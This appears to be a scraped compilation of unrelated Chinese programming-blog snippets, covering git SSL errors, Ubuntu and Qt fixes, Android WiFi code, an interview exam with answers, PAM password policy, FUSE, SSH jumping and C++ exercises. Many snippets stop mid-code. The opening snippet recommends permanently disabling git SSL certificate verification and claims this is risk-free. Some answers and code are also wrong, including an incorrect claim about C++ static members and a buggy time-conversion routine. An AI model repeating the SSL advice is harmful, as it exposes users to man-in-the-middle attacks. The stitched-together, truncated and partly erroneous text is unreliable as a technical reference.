比如我在windows下用git clone gitURL
就提示 SSL certificate problem: self signed certificate
这种问题,在windows下出现得频率高些。我估计主要是git本身就是基于linux开发的,在windows上,容易缺失一些环境。
参考了一些文章,解决方法其实就是“直接不管ssl证书的事儿”-_-|||
方法如下:
1.创建临时环境变量:
windows上命令行输入:
set GIT_SSL_NO_VERIFY=true git clone Linux下:
env GIT_SSL_NO_VERIFY=true git push 这里clon可以根据需要换成其他的git命令。
也可以把临时环境变量变为永久的,反正永远不验证ssl证书也没什么风险吧。。。
2.用git自带的配置命令:
git config --global http.sslVerify false 问题解决。
Thinkpad T440s的触摸板是整体触摸板,需要在ubuntu中重新设置:
1. Working Left, Middle and Right Buttons at the TOP of the touchpad (good ol' Thinkpad style)
2. There is no motion in the ~ upper half of the touchpad (so clicking does not move the pointer)
3. The bottom half is still usable as touchpad (although with less speed settings such as the already posted config here before)
4. The 65%/35% threshold nearly exactly matches the touchpad print, so if you are able to feel the dots in the middle, you can be sure its the middle mouse button
1.硬件环境 Intel® Core™ i7-4600 CPU @ 3.10GHz × 4 2.显卡 Intel 集成显卡 3.系统版本 ubuntu12.04.2 4.现象 开机后,可以看到grub 菜单,通过grub 菜单进入 ubuntu 12.04,屏幕变黑,小光标一直在左上角闪动。 5.原因 图形界面程序损坏,可能是在更新内核或者安装软件的时候,把与xorg相关的文件给清除了。 6.解决方案。 系统黑屏后 Ctrl+ALT+F4 进入 命令行模式 sudo apt-get update sudo apt-get install xserver-xorg-lts-quantal sudo dpkg-reconfigure xserver-xorg-lts-quantal sudo reboot
Qt程序错误记录
1、有的程序用到setMainWidget()函数,如果你用的Qt版本是4.0以上的会报错如下:
error: ‘class QApplication’ has no member named ‘setMainWidget’ 错误是由于版本问题,setMainWidget是Qt3的,而在Qt4中,这个函数已经不用了,如果想兼容Qt3,可以再程序头文件前加以下语句(不能在头文件后):
#define QT3_SUPPORT 之后,带有setMainWidget的程序可以成功编译。
2、错误:
致命错误:qvbox.h: No such file or directory 在Qt4的编译环境中编Qt3的教程家庭价值时,会出现上述错误。
解决办法:将头文件改成qboxlayout.h,在程序内容修改:
#include <qboxlayout.h> QVBox box; 改为(或包含):
QWidget box; layout.addWidget(&quit); box.setLayout(&layout); box.show(); 之后,程序即可编译成功。
3、错误:’Horizontal‘在此作用域中尚未声明
解决方法:在OSlider函数中第1个参数Horizontal修改为Qt::Horizontal,编译即可成功。
4、make命令出现:make: Nothing to be done for `first';
解决方法:在当前目录下,删除除了源程序之外的*.cpp和*.h(即中间生成的.cpp和.h文件),重新执行以下命令:
qmake -project qmake *.pro make make成功。
5、待续。。。
最近参加了个某个创业公司的面试,他们做了个应用,就是用户打开他们的应用就可以提供免费上网的功能,然后面试的过程中,那哥们说,你对wifi这些协议你懂吗?需要用到比较底层的东西哦,我勒个去,就这么一个上网功能就需要很底层吗?搞得很高深的样子,真是底层是涉及到修改android的框架了,修改手机ROM了,你们做到这一步了吗?没有吧,只是在android框架提供api基础上实现的,为此,我今天特意实验了一把。也就10几分钟就搞定的事情,我被你们懵到了,额。。。
开发过程中主要用到WifiManager这个系统自带的服务,它有如下几个状态
WifiManager.WIFI_STATE_DISABLED: //wifi不可用 WifiManager.WIFI_STATE_DISABLING://wifi 正在关闭或者断开 WifiManager.WIFI_STATE_ENABLED://wifi已经打开可用 WifiManager.WIFI_STATE_ENABLING://wifi正在打开或者连接 WifiManager.WIFI_STATE_UNKNOWN://未知消息 好,开始我们的实验:
第一步:AndroidManifest.xml添加相关权限
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
第二步:新建测试页面/study/res/layout/activity_wifi.xml
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingBottom="@dimen/activity_vertical_margin"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
tools:context=".MainActivity" >
<Button
android:id="@+id/btnWifi"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="47dp"
android:text="自动连上wifi" />
</RelativeLayout>
第三步:实现Activity,WifiManagerTestActivity.java
/**
* 自动选择连上某个wifi信号
*/
package com.figo.study;
import java.util.List;
import android.app.Activity;
import android.content.Context;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiConfiguration.AuthAlgorithm;
import android.net.wifi.WifiConfiguration.KeyMgmt;
import android.
一、单选题
1.假设把整数关键码K散列到N个槽列表,以下哪些散列函数是好的散列函数
A: h(K)=K/N;
B: h(K)=1;
C: h(K)=K mod N;
D: h(K)=(K+rand(N)) mod N, rand(N)返回0到N-1的整数
选择C,解释:hash的特性在于常数的时间执行插入、删除和查找操作,用D作为hash函数无法满足该条件,因为函数的返回值不确定,这样无法进行正常的查找。用C产生碰撞可以用链接法解决冲突 2.下面排序算法中,初始数据集的排列顺序对算法的性能无影响的是:
A: 堆排序 B:插入排序 C: 冒泡排序 D:快速排序
选择A,解释:(1)堆排序的时间复杂度一直都是O(nlogn),不稳定(2)插入排序在初始有序情况下,时间复杂度为O(n),平均时间复杂度为O(n^2),稳定排序(3)冒泡排序在初始有序的情况下,增加交换标示flag可将时间复杂度降到O(n),稳定排序(4)快速排序在初始有序的情况下,可能会退化到O(n^2),不稳定排序
3. 下面说法错误的是:
A: CISC计算机比RISC计算机指令多
B: 在指令格式中,采用扩展操作码设计方案的目的是为了保持指令字长不变而增加寻址空间
C:增加流水线段数理论上可以提高CPU频率
D:冯诺依曼体系结构的主要特征是存储程序的工作方式
选择B,解释(1)CISC复杂指令集,RISC精简指令集,从名字上就可以得出A正确(2)保持指令字长度不变而增加指令操作的数量(3)看样子都觉得正确(4)冯诺依曼体系结构的主要特点:存储程序控制(要求计算机完成的功能,必须事先编制好相应的程序,并输入到存储器中,计算机的工作过程是运行程序的过程);程序由指令构成,指令和数据都用二进制表示;指令由操作码和地址码构成;机器以cpu为中心
4. 不属于冯诺依曼体系结构必要组成部分是:
A:CPU B: Cache C:RAM D:ROM
B,解释:冯诺依曼体系结构必要组成部分:运算器、控制器、存储器、输入设备、输出设备,Cache属于缓存了
6.你认为可以完成编写一个C语言编译器的语言是:
A:汇编 B:C语言 C:VB D:以上全可以
D,解释:其实你学好编译原理用什么语言都能写出来
7. 关于C++/JAVA类中的static成员和对象成员的说法正确的是:
A:static成员变量在对象构造时候生成
B: static成员函数在对象成员函数中无法调用
C: 虚成员函数不可能是static成员函数
D: static成员函数不能访问static成员变量
C,解释:(1)类的static成员变量属于该抽象类,需要在类定义时初始化,不可以在对象的构造函数中初始化。static成员变量可以直接定义,例如public statci $a = 10; 所以A错(2)static成员函数在对象成员函数中可以调用,同属于一个类作用域,在对象成员函数里可以通过类名::static函数名的方法调用(4)static成员函数只能够访问static 成员变量,同样道理,类名::static成员变量名,这也是访问static成员变量唯一的方法(3)是正确的
8,假设下图中每个正方形的边长为1,则从A到Z的最短路径条数为
A,11 B,12 C,13 D,14
C,解释
原文:javascript substring 用法详解
本文介绍js中substring和substr的用法,由 17JavaScript 编辑整理,希望对大家学习JS有所帮助。
substring 方法用于提取字符串中介于两个指定下标之间的字符
substring(start,end)
开始和结束的位置,从零开始的索引
参数 描述
start 必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
stop 可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数,那么返回的子串会一直到字符串的结尾。
返回值
一个新的字符串,该字符串值包含 stringObject 的一个子字符串,其内容是从 start 处到 stop-1 处的所有字符,其长度为 stop 减 start。
说明
substring 方法返回的子串包括 start 处的字符,但不包括 end 处的字符。
如果 start 与 end 相等,那么该方法返回的就是一个空串(即长度为 0 的字符串)。
如果 start 比 end 大,那么该方法在提取子串之前会先交换这两个参数。
如果 start 或 end 为负数,那么它将被替换为 0。
2.substr 方法
定义和用法
substr 方法用于返回一个从指定位置开始的指定长度的子字符串。
语法
stringObject.substr(start [, length ])
参数 描述
由于工作需要最近需要将公司的多台linux服务器进行密码策略的设置,主要内容是增加密码复杂度。
操作步骤如下,不会的同学可以参考:
操作前需要掌握如下几个简单的知识点:(其实不掌握也行,不过学学没坏处)
PAM(Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务 和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系 统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。
PAM的配置是通过单个配置文件/etc/pam.conf。RedHat还支持另外一种配置方式,即通过配置目录/etc/pam.d/,且这种的优先级要高于单 个配置文件的方式。
1、使用配置文件/etc/pam.conf
该文件是由如下的行所组成的:
service-name module-type control-flag module-path arguments
service-name 服务的名字,比如telnet、login、ftp等,服务名字“OTHER”代表所有没有在该文件中明确配置的其它服务。
module-type 模块类型有四种:auth、account、session、password,即对应PAM所支持的四种管理方式。同一个服务可以调用多个 PAM模块进行认证,这些模块构成一个stack。
control-flag 用来告诉PAM库该如何处理与该服务相关的PAM模块的成功或失败情况。它有四种可能的 值:required,requisite,sufficient,optional。
required 表示本模块必须返回成功才能通过认证,但是如果该模块返回失败的话,失败结果也不会立即通知用户,而是要等到同一stack 中的所有模块全部执行完毕再将失败结果返回给应用程序。可以认为是一个必要条件。
requisite 与required类似,该模块必须返回成功才能通过认证,但是一旦该模块返回失败,将不再执行同一stack内的任何模块,而是直 接将控制权返回给应用程序。是一个必要条件。注:这种只有RedHat支持,Solaris不支持。
sufficient 表明本模块返回成功已经足以通过身份认证的要求,不必再执行同一stack内的其它模块,但是如果本模块返回失败的话可以 忽略。可以认为是一个充分条件。
optional表明本模块是可选的,它的成功与否一般不会对身份认证起关键作用,其返回值一般被忽略。
对于control-flag,从Linux-PAM-0.63版本起,支持一种新的语法,具体可参看LinuxPAM文档。
module-path 用来指明本模块对应的程序文件的路径名,一般采用绝对路径,如果没有给出绝对路径,默认该文件在目录/usr/lib/security下面。
arguments 是用来传递给该模块的参数。一般来说每个模块的参数都不相同,可以由该模块的开发者自己定义,但是也有以下几个共同 的参数:
debug 该模块应当用syslog( )将调试信息写入到系统日志文件中。
no_warn 表明该模块不应把警告信息发送给应用程序。
use_first_pass 表明该模块不能提示用户输入密码,而应使用前一个模块从用户那里得到的密码。
try_first_pass 表明该模块首先应当使用前一个模块从用户那里得到的密码,如果该密码验证不通过,再提示用户输入新的密码。
use_mapped_pass 该模块不能提示用户输入密码,而是使用映射过的密码。
expose_account 允许该模块显示用户的帐号名等信息,一般只能在安全的环境下使用,因为泄漏用户名会对安全造成一定程度的威胁。
2、使用配置目录/etc/pam.d/(只适用于RedHat Linux)
该目录下的每个文件的名字对应服务名,例如ftp服务对应文件/etc/pam.d/ftp。如果名为xxxx的服务所对应的配置文件/etc/pam.d/xxxx不存 在,则该服务将使用默认的配置文件/etc/pam.d/other。每个文件由如下格式的文本行所构成:
module-type control-flag module-path arguments
每个字段的含义和/etc/pam.conf中的相同。
由于公司使用的是RedHat的linux故此我将使用pam.d这个配置目录。密码复杂度通过/etc/pam.d/system-auth这个文件来实现的故此我们先看一下默认有什么内容然后将这个文件备份一个:
在这个文件中我们会用到pam_cracklib.so这个模块。pam_cracklib.so是一个常用并且非常重要的PAM模块。该模块主要的作用是对用户密码的强健性进行检测。即检查和限制用户自定义密码的长度、复杂度和历史等。如不满足上述强度的密码将拒绝使用。
pam_cracklib.so比较重要和难于理解的是它的一些参数和计数方法,其常用参数包括: debug:将调试信息写入日志;
原文:http://www.linux.org/threads/fuse.6211/
译文:
FUSE(The Filesystem in Userspace)在Kernel中是一个奇特的部分,它允许通常的用户不用修改Kernel或取得Root权限,就能制作或使用他们自己的文件系统。在FUSE中使用的文件系统是虚文件系统(Virtual Filesystems),但并非所有的虚文件系统使用的都是FUSE。FUSE的代码Kernel中,但文件系统位于User Space。不过,典型的文件系统还是存在于Kernel中。
FUSE允许用户制作、修改或者临时使用一个特殊的文件系统。FUSE还可以被用于给系统或软件增加一些额外的特性与能力,如,GVFS(GNOME Virtual Filesystem)允许程序以类似存取本地文件的方式存取远程文件系统,而FUSE使之成为可能。并且,在写这篇文章的时候,Linux Kernel还没有原生支持exFat(又叫做FAT64),但用户可以使用FUSE挂载exFAT/FAT64文件系统。不过, FUSE可能需要安装一些额外的支持包来运行这些文件系统。例如,如果用户需要使用上面提到的exFAT,则需要安装扩展了FUSE的“exfat-fuse"包,该包是一个FUSE的驱动包。下图是更多的FUSE扩展包:
FUSE项目位于http://fuse.sourceforge.net/,是一个开源项目,任何人都可以获取和使用,且稳定、安全与可靠。不过,如果使用一个“真”的文件系统,效率会更好。FUSE与Solaris,FreeBSD,Darwin,GNU/Hurd,OS X,OpenSolaris等OS兼容。有些OS不支持FUSE,但可以使用一些源自FUSE的替代品,如NetBSD使用PUFFS,而Windows使用“Fuse4Win"。
FUSE不仅仅用于挂载虚文件系统,还用于”真“的文件系统,如ZFS和exFAT。FUSE还可以挂载ISO,CD以及压缩的文件(zip,gzip,tar等等)。FUSE还扩展到了网络文件系统,如HTTP-FS,Aptfs(apt repos)等等。FUSE可以被用于传输Apple设备(如iPod和iPhone)上的文件。更神奇的是,FUSE还可以通过mp3fs将FLAC转换为mp3。
用户可以实现他们自己的文件系统,而不用修改Kernel。用户文件系统以一种类似的方式来开发。如果用户希望使用Ruby实现一种虚文件系统,则需要”ruby-fusefs"包。许多语言提供了FUSE的绑定,如Perl,Python,C/C++,C#等等。完整的语言绑定列表:http://sourceforge.net/apps/mediawiki/fuse/index.php?title=LanguageBindings.
使用FUSE,这些虚文件系统并未被格式化。相反,用户需要初始化这些文件系统,并将它挂载到用户有权访问的空目录上。
现在我们已经知道了FUSE的很多知识,该解释其如何工作了。FUSE是一个Linux的中介者(Mediaor)模块,位于FUSE文件系统与Linux Kernel的VFS之间。VFS只能被特权用户或进程访问。由于用户可以存取FUSE,而FUSE可以存取VFS,这就是权限系统为何允许任何用户使用FUSE。对于FUSE自身来说,代码中包含一个结构体变量,其中包含了许多进程可能会到的FUSE的函数指针。
简单的FUSE结构体变量代码:
struct fuse_operations { int (*mknod) (const char *, mode_t, dev_t); int (*getdir) (const char *, fuse_dirh_t, fuse_dirfil_t); int (*mkdir) (const char *, mode_t); int (*rmdir) (const char *); int (*readlink) (const char *, char *, size_t); int (*symlink) (const char *, const char *); int (*unlink) (const char *); int (*rename) (const char *, const char *); int (*link) (const char *, const char *); int (*chmod) (const char *, mode_t); int (*chown) (const char *, uid_t, gid_t); int (*truncate) (const char *, off_t); int (*utime) (const char *, struct utimbuf *); int (*open) (const char *, struct fuse_file_info *); int (*read) (const char *, char *, size_t, off_t, struct fuse_file_info *); int (*write) (const char *, const char *, size_t, off_t,struct fuse_file_info *); int (*statfs) (const char *, struct statfs *); int (*flush) (const char *, struct fuse_file_info *); int (*release) (const char *, struct fuse_file_info *); int (*fsync) (const char *, int, struct fuse_file_info *); int (*getattr) (const char *, struct stat *); int (*setxattr) (const char *, const char *, const char *, size_t, int); int (*getxattr) (const char *, const char *, char *, size_t); int (*listxattr) (const char *, char *, size_t); int (*removexattr) (const char *, const char *); }; 所以,如果一个进程使用FUSE执行Write操作,则文件系统执行write()的代码。
以前一直以为多个不同的activity中某些View的id名称相同,不会有影响,因为创建activity的时候,会先加载布局文件,再根据布局文件,在R文件中查找id,所以不会有影响。但是今天我遇到了这个问题,找了半天才找出来,我有2个xml布局文件中不同作用的View的id相同,昨天测试没有任何问题,今天一打开,无论如何,公用一个id的view的点击事件就是没有效果,找了半天,还是没找出来,结果自己将这个activity重新写了一遍,竟然又可以了,对照着2个activity,发现一模一样,真是郁闷,问题到底在哪呢?
我在之前的activity中通过点击id进入相应的布局文件,进入的是另一个布局文件,而非当前activity引用的布局文件,这个本来是没有关系的,也不会有影响,自己根本也没有往这方面想。搞了半天也没找出问题所在,后来也不知怎么的,鬼使神差的把id名称换了一下,靠,结果,一切ok,看来经验有时害死人啊!为了避免再次出现这种错误,以后命名的时候,不要怕长,还是老老实实的命名。
布局文件命名带上引用该布局文件的activity名称,布局文件中的id命名带上该布局文件的名称,这样就不会出错了。
前阵子想过用Qt写一个符合android手机操作习惯的文件浏览器,今天动手实现了。
查看网上关于这方面的例子,真是太少了,基本上都是介绍怎么用java来实现的。不过既然java能实现,那么c++肯定也能够实现。
Eclipse里面用的是ListView这个控件,刚好Qt有个QListView控件,名字相近,所以就选择使用它了。下面这个图是我设计的文件浏览器界面,设定成横版的了。
下面是代码部分:
DirectoryViewer.h #ifndef DirectoryViewer_H #define DirectoryViewer_H #include <QDialog> #include <QFileSystemModel> namespace Ui { class DirectoryViewer; } class DirectoryViewer : public QDialog { Q_OBJECT public: explicit DirectoryViewer(QWidget *parent = 0); ~DirectoryViewer(); public slots: void btn_Choose_Clicked(); void btn_Return_Clicked(); void btn_Open_Clicked(); void Item_DoubleClicked(QModelIndex index); public: QString m_ChoosePath; private: Ui::DirectoryViewer *ui; QFileSystemModel *model; QString m_nCurrentPath; QDir root_Dir; QDir current_Dir; QModelIndex index; }; #endif // DirectoryViewer_H DirectoryViewer.cpp #include "DirectoryViewer.h" #include "ui_DirectoryViewer.h" #include <QDesktopWidget> DirectoryViewer::DirectoryViewer(QWidget *parent) : QDialog(parent), ui(new Ui::DirectoryViewer) { ui->setupUi(this); QDesktopWidget * deskTop = QApplication::desktop(); move( (deskTop->width()-this->width())/2,(deskTop->height()-this->height())/2); model = new QFileSystemModel(this); model->setFilter(QDir::AllEntries|QDir::NoDotAndDotDot); root_Dir = QDir::rootPath(); m_nCurrentPath = root_Dir.
http://www.ihuxu.com/25-jquery-mobile-templates.html
正常情况我们都是要ssh的客户端直接连接到ssh的服务端的,即使是跳转也是在linux或者其他UNIX系统下通过ssh-server跳转到其他开启SSH服务的主机上,因为openssh-server、ssh-client这类软件unix、linux系统都是默认安装并开启的。
作为经常搞技术的人应该都应该能有所了解,我们通常自己工作的本本或主机都是为win系统的,生产环境的服务器也是win都是居多,如果生产环境的网络和办公环境的网络之间不直接有网络连接,我们基本上每次都需要登录到生产环境的WIN服务器上然后开启SSH的客户端连接到linux的服务器上。这其实是非常麻烦的,由于了解到linux系统上可以使用ssh进行linux系统之间的跳转,那么win应该也是可以的,经过几次尝试总结了如下方法可以使用在win下使用SSH通过win主机跳转到linux系统上。
环境:
主机A:192.168.1.100 win2003系统,此为我们平时工作用的主机或者本本
主机B:192.168.2.101 win2003系统,此为生产环境的一台主机,此台主机可以与我们使用的工作主机A直接连接。
主机C:192.168.2.102 linux系统,此为生产环境的一台主机,此台主机不可以与我们使用的主机A直接连接,但是可以与主机B直接连接。
目的:
在主机A开启SSH客户端程序,通过主机B跳转到主机C。
工具:
1、winsshb,将其安装到主机B中,安装时请选择“personal edition”。
2、openssh for win,将其安装到主机B中,安装时只选择“client”。
3、如果有防火墙请开启22端口。
步骤:
1、在主机A中打开SSH客户端,连接到主机B。
2、登录到主机B中之后,使用“ssh 用户名@192.168.1.102”登录到主机C。
3、跳转完成,使用命令查看跳转完成后是否是主机C。
winsshb for win下载地址
http://download.csdn.net/detail/wxlbrxhb/7890887
openssh for win下载地址
http://download.csdn.net/detail/wxlbrxhb/7890921
如有不足之处欢迎留言讨论
之前讲到的测周测频存在+1误差,因为在闸门开始的时间内,计数不一定就开始了。例如测频方法,在低频时相对误差就大了。虽然有高频测频低频测周的说法,但难以确定一个界限。因此要找一个一劳永逸的频率算法。
等精度频率测量可以满足需要。它最大的特点在于,闸门时间永远是被测信号周期的整数倍。也就是说,当闸门使能时,实际闸门并未开始,而是要等到被测信号的上升沿到来之时,两个计数器才同时开始计数。闸门关闭也是要等到信号上升沿到来才真正的关闭。下面这个时序图(摘自百度文库)很好的说明这点。
要看懂这个时序图,计数使能的实现:
always @(posedge datain)
begin
ena <= gate;
end
相当于D触发器一样,闸门受同步了,延迟了。接着
always @(posedge datain)
begin
if(ena == 1)......end
always @(posedge clkref)
begin if(ena == 1)......end
这种计数便能消除+1误差。所谓等精度,就是说相对误差和频率本身没有关系,无所谓高低频的顾虑。误差取决于标准信号,可以用锁相环产生。要进一步减少误差,应该提高标准信号的频率,使计数值增大。
最终的公式:fo/No = f1/N1。
---------------------------------------------------------------
补充,2014-12-16:
今天又看了一遍等精度测量的原理,觉得之前很多都理解的不到位,上面的代码也修改了一番。
我认为等精度测量的突出特点:多了标准信号;使能延迟;除法运算。
有段话说的好:等精度测频能够在整个频域内保持恒定的精度。当然,这不是说等精度测频没有误差,而是由于误差恒定,不催被测信号频率变化而变化,所以方便了频率补偿,有助于提高精度。这个恒定的误差只限于标准信号频率上。
Uncaught SyntaxError: Unexpected token )
以下代码引发了此异常:
<div class="Hd_live_Sharediv left"> <a href="javascript:void()" οnclick="loadLivePlayer('ud')" style="width:40px;">超清</a> <a href="javascript:void()" οnclick="loadLivePlayer('hd')" style="width:40px;">高清</a> <a href="javascript:void()" οnclick="loadLivePlayer('sd')" style="width:40px;">流畅</a> </div>可能引发此错误的原因: 1、href属性值“javascript:void()”,括号中没有加“0”
void 操作符用法格式如下: 1. javascript:void (expression) 2. javascript:void expression expression 是一个要计算的 Javascript 标准的表达式。表达式外侧的圆括号是选的,但是写上去是一个好习惯。 (实现版本 Navigator 3.0 ) 你以使用 void 操作符指定超级链接。表达式会被计算但是不会当前文档处装入任何内容。 <div class="Hd_live_Sharediv left"> <a href="javascript:void(0)" οnclick="loadLivePlayer('ud')" style="width:40px;">超清</a> <a href="javascript:void(0)" οnclick="loadLivePlayer('hd')" style="width:40px;">高清</a> <a href="javascript:void(0)" οnclick="loadLivePlayer('sd')" style="width:40px;">流畅</a> </div>2、onclick事件处理函数“loadLivePlayer”没有添加返回值,导致javascript:void(0)被执行,应该添加:return false;
waiting time-计算等待时间之后的时刻,按24小时制计算,允许重复计算:
//waiting time #include<iostream> using namespace std; void get_time(int& hours,int& minutes); void convert_time(int& currenthours,int& currentminutes,int& waithours,int& waitminutes); //void show_time(); int main() { int currenthours,currentminutes; int waithours,waitminutes; char ans; do{ cout<<"Current time,"; get_time(currenthours,currentminutes); cout<<"Wait time,"; get_time(waithours,waitminutes); convert_time(currenthours,currentminutes,waithours,waitminutes); cout<<"Do you want again?"; cin>>ans; }while('y' == ans || 'Y' == ans); return 0; } void get_time(int& hours,int& minutes) { char b; cout<<"Enter the 24 hours time like 11:11 :\n"; cin>>hours>>b>>minutes; } void convert_time(int& currenthours,int& currentminutes,int& waithours,int& waitminutes) { int hours,minutes; if(currenthours + waithours < 24) { hours = currenthours+waithours; if(currentminutes + waitminutes < 60) minutes = currentminutes + waitminutes; else { hours += 1; minutes =(currentminutes + waitminutes) - 60; } } else { hours = (currenthours+waithours) - 24 + currenthours; if(currentminutes + waitminutes < 60) minutes = currentminutes + waitminutes; else { hours += 1; minutes =(currentminutes + waitminutes) - 60; } } cout<<"
overload abs-重载绝对值函数
//overload abs-重载绝对值函数 #include<iostream> using namespace std; int abs(int n); //long abs(long n); float abs(float n); double abs(double n); int main() { int a = -3; long int b = -5; float c = - 3.5; double d = - 4.4; cout<<"int abs: "<<abs(a)<<endl; cout<<"long int abs: "<<abs(b)<<endl; cout<<"float abs: "<<abs(c)<<endl; cout<<"double abs: "<<abs(d)<<endl; return 0; } int abs(int n) { if(n > 0) return n; return -n; } long int abs(long n) { if(n > 0) return n; return -n; } float abs(float n) { if(n > 0) return n; return -n; } double abs(double n) { if(n > 0) return n; return -n; } 结果:
.obj : error LNK2005: "public: virtual void __thiscall ...已经在 .obj 中定义 .exe : fatal error LNK1169: 找到一个或多个多重定义的符号
vs 2008 引入别的lib时,出现错误。
检查不出来了,错误原因。
最后,把引用库的头文件 ,放到源文件中结果通过了。
AAA.obj : error LNK2005: "public: virtual void __thiscall CBBB::FUN();
有可能是你的CBBB 类的头文件放到 ——AAA 类的头文件中了;
这时,只需要 把CBBB 头文件放到 CAAA源文件中就可以了。
GBK是对GB2312的扩展,添加了一些GB2312不支持的繁体字符。我通常情况下对二者进行混用,不加以区分。最近出现了问题,一个文本本来是GBK格式的,我将其转换成UTF-8过程后,一些字符出现了乱码。原因是我读的时候是按照GB2312的编码读的,这样,一些特殊字符,例如中文的空格( )和中文的横杠(-),这两个字符要比英文的空格和横杠宽一点点,其编码是不一样的,而这两个字符是不被GB2312支持的,因此出现了乱码。
解决办法:
读入GBK或者GB2312格式的文本时统一选择GBK方式读入,然后再保存为UTF-8,这样就不会出错。
BufferedReader reader = new BufferedReader(new InputStreamReader(new FileInputStream(file),"GBK")); BufferedWriter writer = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file),"UTF-8"));
Uncaught SyntaxError: Unexpected token ILLEGAL 未捕获的语法错误: 意想不到的非法令牌
<input id="btn_0_4EAE4F474C91156086C0D4EA7E983C69C215B649" type="button" value="连接" οnclick="middleware_connect(0, 4EAE4F474C91156086C0D4EA7E983C69C215B649)"> 经过查看源码可以发现“οnclick="middleware_connect(0, 4EAE4F474C91156086C0D4EA7E983C69C215B649)"”,第二个参数是字符串,却没有使用引号括起来,所以引发了此异常。
加上引号后,问题解决:
<input id="btn_0_4EAE4F474C91156086C0D4EA7E983C69C215B649" type="button" value="连接" οnclick="middleware_connect('0', '4EAE4F474C91156086C0D4EA7E983C69C215B649')">
package cn.wiki.openapi.lry.tool; import java.util.HashMap; /** * 128进制加解密, 一个符号可表示7个bit * 可以自定义符号表, 符号不能重复 * @author lry * */ public class MyBASE128 { public static final char[] symbolTable = new char[128]; public static final HashMap<Character, Integer> indexTable = new HashMap<Character, Integer>(128); static { int i = 0; for (int j = 0; j < 128; j++) { if('A' <= j && j <= 'Z' || 'a' <= j && j <= 'z' || '0' <= j && j <= '9') { symbolTable[i++] = (char) j; } } for (char c : "
Matlab 图像处理 Day8
1、sum( ):
% sum 函数有常用的 2 种形式
< i >、 S = sum( X );
< ii >、 S = sum( X,DIM );
Sample: % 由上述例子可以发现
sum( a , 1 ) = sum( a ) % 意思即为对矩阵 a 的列求和
sum( a , 2 ) % 意思即为对矩阵 a 的行求和
% 一些特殊的小用法:
sum( a(:) ); % 意思即为对矩阵中所有元素求和
可以通过上述写法扩展一下:
Sample :
分别按列求和 分别按行求和
"." 代表当前所在目录,相对路径。如:<a href="./abc">文本</a>或<img src="./abc" />; ".." 代表上一层目录,相对路径。如:<a href="../abc">文本</a>或<img src="../abc"/>; "../../" 代表的是上一层目录的上一层目录,相对路径。 如:<img src="../../abc" />; "/" 代表根目录,绝对路径。 如:<a href="/abc">文本</a>或<img src="/abc"/>; "D:/abc/" 代表根目录,绝对路径。 在使用相对路径时,我们用符号“.”来表示当前目录;用符号“..”来表示当前目录的父目录。 一、基本概念
1、相对路径-顾名思义,相对路径就是相对于当前文件的路径。网页中一般表示路径使用这个方法。
2、绝对路径-绝对路径就是你的主页上的文件或目录在硬盘上真正的路径。绝对路径就是你的主页上的文件或目录在硬盘上真正的路径,比如,你的Perl 程序是存放在c:/apache/cgi-bin 下的,那么c:/apache/cgi-bin就是cgi-bin目录的绝对路径
在网络中,以http开头的链接都是绝对路径,绝对路径就是你的主页上的文件或目录在硬盘上真正的路径,绝对路径一般在CGI程序的路径配置中经常用到,而在制作网页中实际很少用到。
二、相对路径使用的特殊符号
以下为建立路径所使用的几个特殊符号,及其所代表的意义。
"./":代表目前所在的目录。
"../":代表上一层目录。
以"/"开头:代表根目录。
根目录下有Site1和Image/Image.jpg,Site1下有Page1.html文件和Site2文件夹。Site2下有Page2.html和Page2Image.jpg图片文件。
1、文件在当前目录
Page2.html访问Page2Image.jpg
<img src=”./Page2Image.jpg”>或者<img src=”Page2Image. jpg”>
2、文件在上一层目录
Page1.html访问Image下的Image.jpg
<img src=”../Image/Image.jpg”>
Page2.html访问Image下的Image.jpg
<img src=”../../Image/Image.jpg”>
3、文件在下一层目录
Page1.html访问Site2文件夹下的Page2Image.jpg
<img src=” ./Site2/Image.jpg”><img src=” Site2/Image.jpg”>
4、根目录表示法,任何页面访问Image下的Image.jpg图片
<img src=”/Image/Image.jpg”>
三、常使用且要注意的地方
A、Css中的图片路径。写css里的图片路径,url是图片针对样式文件的位置
-- index.html
-- css /main.css
-- images/1.jpg
如果: index.html引用main.css,且在main.css 引用images目录里的1.jpg :
缓冲区(Buffer) 缓冲区(Buffer)就是在内存中预留指定大小的存储空间用来对输入/输出(I/O)的数据作临时存储,这部分预留的内存空间就叫做缓冲区:
使用缓冲区有这么两个好处:
1、减少实际的物理读写次数
2、缓冲区在创建时就被分配内存,这块内存区域一直被重用,可以减少动态分配和回收内存的次数
举个简单的例子,比如A地有1w块砖要搬到B地
由于没有工具(缓冲区),我们一次只能搬一本,那么就要搬1w次(实际读写次数)
如果A,B两地距离很远的话(IO性能消耗),那么性能消耗将会很大
但是要是此时我们有辆大卡车(缓冲区),一次可运5000本,那么2次就够了
相比之前,性能肯定是大大提高了。
而且一般在实际过程中,我们一般是先将文件读入内存,再从内存写出到别的地方
这样在输入输出过程中我们都可以用缓存来提升IO性能。
所以,buffer在IO中很重要。在旧I/O类库中(相对java.nio包)中的BufferedInputStream、BufferedOutputStream、BufferedReader和BufferedWriter在其实现中都运用了缓冲区。java.nio包公开了Buffer API,使得Java程序可以直接控制和运用缓冲区。
